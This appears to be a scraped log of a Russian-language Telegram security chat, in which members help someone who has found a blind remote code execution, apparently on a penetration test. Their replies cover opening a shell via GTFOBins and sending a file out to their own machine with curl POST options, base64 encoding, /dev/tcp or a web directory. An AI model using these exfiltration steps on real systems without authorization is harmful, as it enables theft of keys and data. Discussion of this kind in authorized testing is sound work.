В рейтинге участвует:

групп:

каналов:

Виртуальный сервер на SSD - недорого!

Аренда выделенных и виртуальных серверов (VDS/VPS), хостинг, аренда IP-адресов, администрирование, круглосуточная поддержка

qwarta.ru подробнее

Резервное копирование с проверкой на вирусы!!!

Удобный сервис создания резервных копий на любой сервер сети интернет. Отслеживайте изменения, проверяйте на вирусы. Надежно защитите свой бизнес!

go.backupland.com

Выбираете сервер? Любая конфигурация на заказ!

Аренда физических серверов любых конфигураций под любые запросы - 1С бухгалтерия, игровые сервера, нагруженные проекты, интернет-магазины!

qwarta.ru подробнее

Size: a a a

WebPwnChat

1087 membersпожаловаться на группу
2020 July 22

IS

I S in WebPwnChat
Billy Fox
Ты всё правильно делаешь, рце и не должна быть не-слепой. Почувствовал sleep или днс-резолв - можешь сразу открывать шелл командой с gtfobins.github.io
Ну как же, все помнят времена с eval в пхп на всех почти бордах 😅 а так да, мне то не рце сдавать надо а сеть всю, так что как только я вижу отстук я понимаю что можно уже готовится тыкать отчетом по всей морде 🤣
источник
11:45пожаловаться#1

T

TripleSex in WebPwnChat
Billy Fox
На твоём месте я б ебанул курлом например содержимое файла на свою тачку
Пробовал, только через wget, но файл типапустой
источник
11:46пожаловаться#2

IS

I S in WebPwnChat
TripleSex
Пробовал, только через wget, но файл типапустой
То есть идёт пост файла но длина 0?
источник
11:46пожаловаться#3

T

TripleSex in WebPwnChat
Да
источник
11:46пожаловаться#4

BF

Billy Fox in WebPwnChat
TripleSex
Пробовал, только через wget, но файл типапустой
Закодируй в бейс64 перед передачей) если там что-то типа ключа ссш, то там бинарные данные
источник
11:46пожаловаться#5

BF

Billy Fox in WebPwnChat
Баш например не умеет такое адекватно передавать
источник
11:47пожаловаться#6

T

TripleSex in WebPwnChat
Billy Fox
Закодируй в бейс64 перед передачей) если там что-то типа ключа ссш, то там бинарные данные
Там, мне кажется все намного проще:)
источник
11:47пожаловаться#7

IS

I S in WebPwnChat
TripleSex
Да
Покажи строку вгета что используешь, с ключами
источник
11:47пожаловаться#8

T

TripleSex in WebPwnChat
Прост wget http domain file
источник
11:47пожаловаться#9

IS

I S in WebPwnChat
TripleSex
Прост wget http domain file
Так тебе и придёт гет а не пост
источник
11:48пожаловаться#10

T

TripleSex in WebPwnChat
Мляя
источник
11:48пожаловаться#11

BF

Billy Fox in WebPwnChat
Лол, вот так всё просто
источник
11:48пожаловаться#12

IS

I S in WebPwnChat
-F”file=@filename”
источник
11:48пожаловаться#13

IS

I S in WebPwnChat
Упс это для курл, привычка
источник
11:49пожаловаться#14

BF

Billy Fox in WebPwnChat
Алсо, на будущее. вгета на тачке может и не бвть. Но и с помощью седа можно грузить файлы. Подробнее тут: gtfobins.github.io
источник
11:49пожаловаться#15

B

Bo🦠oM in WebPwnChat
curl -d @/path/to/file
источник
11:50пожаловаться#16

BF

Billy Fox in WebPwnChat
Ладно, напздел, сед тьюринг-полный, но качать и грузить файлы им нельзя
источник
11:50пожаловаться#17

IS

I S in WebPwnChat
https://superuser.com/questions/86043/linux-command-line-tool-for-uploading-files-over-http-as-multipart-form-data ну или так
Super User
Linux command line tool for uploading files over HTTP as multipart/form-data?
I can see that wget has a --post-file option, but the manpage says
 Wget does not currently support multipart/form-data for transmitting POST data; only application/x-www-form-urlencoded. Only on...
источник
11:51пожаловаться#18

КН

Кирилл Николаев... in WebPwnChat
Просто катни его в dev/tcp
источник
11:52пожаловаться#19

КН

Кирилл Николаев... in WebPwnChat
Или в веб директорию,если позволяют права
источник
11:53пожаловаться#20